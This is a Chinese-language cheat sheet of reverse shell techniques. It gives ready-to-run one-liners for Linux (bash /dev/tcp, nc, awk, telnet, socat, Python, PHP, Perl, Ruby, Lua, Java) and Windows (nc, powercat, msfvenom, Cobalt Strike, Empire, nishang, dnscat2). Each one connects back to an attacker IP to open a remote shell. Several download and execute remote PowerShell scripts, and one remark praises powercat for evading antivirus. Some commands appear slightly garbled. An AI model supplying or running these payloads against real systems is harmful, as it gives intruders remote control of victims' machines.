反弹shell的几种姿势小结

Linux 反弹shell

姿势一：bash反弹

bash -i > /dev/tcp/192.168.99.242/1234 0>1

base64版：bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

在线编码地址：http://www.jackson-t.ca/runtime-exec-payloads.html

其他版本：

exec 5>/dev/tcp/192.168.99.242/1234;cat 5 | while read line; do $line 2>5 >5;done
exec /bin/sh 0/dev/tcp/192.168.99.242/1234 1>0 2>0

姿势二：nc反弹

nc -e /bin/bash 192.168.99.242 1234

姿势三：awk反弹

awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|getline c;close(c))while(c|getline)print|s;close(s)}'

姿势四：telnet反弹

备注：需要在攻击主机上分别监听1234和4321端口，执行反弹shell命令后，在1234终端输入命令，4321查看命令执行后的结果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

姿势五：socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

姿势六：Python反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

姿势七：PHP反弹

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i 3 >3 2>3");'

姿势八：Perl反弹

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">S");open(STDOUT,">S");open(STDERR,">S");exec("/bin/sh -i");};'

姿势九：Ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i %d >%d 2>%d",f,f,f)'

姿势十：Lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i 3 >3 2>3');"

姿势十一：JAVA反弹

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5>/dev/tcp/192.168.99.242/1234;cat 5 | while read line; do $line 2>5 >5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

保存为Revs.java文件，编译执行，成功反弹shell。

javac Revs.java 
java Revs

Windows反弹shell

姿势一：nc反弹

netcat 下载：https://eternallybored.org/misc/netcat/

服务端反弹：nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe

姿势二：powershell反弹

powercat是netcat的powershell版本，功能免杀性都要比netcat好用的多。

PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

下载到目标机器本地执行：

PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

姿势三：MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

姿势四：Cobalt strike反弹shell

1、配置监听器：点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners，点击add。
2、生成payload：点击Attacks——>Packages——>Windows Executable，保存文件位置。
3、目标机执行powershell payload

姿势五：Empire反弹shell

usestager windows/launcher_vbs
info
set Listener test
execute

姿势六：nishang反弹shell

Reverse TCP shell：

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234

Reverse UDP shell：

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234

姿势七：Dnscat反弹shell

github项目地址：

https://github.com/iagox86/dnscat2

服务端：

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open

目标主机：

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
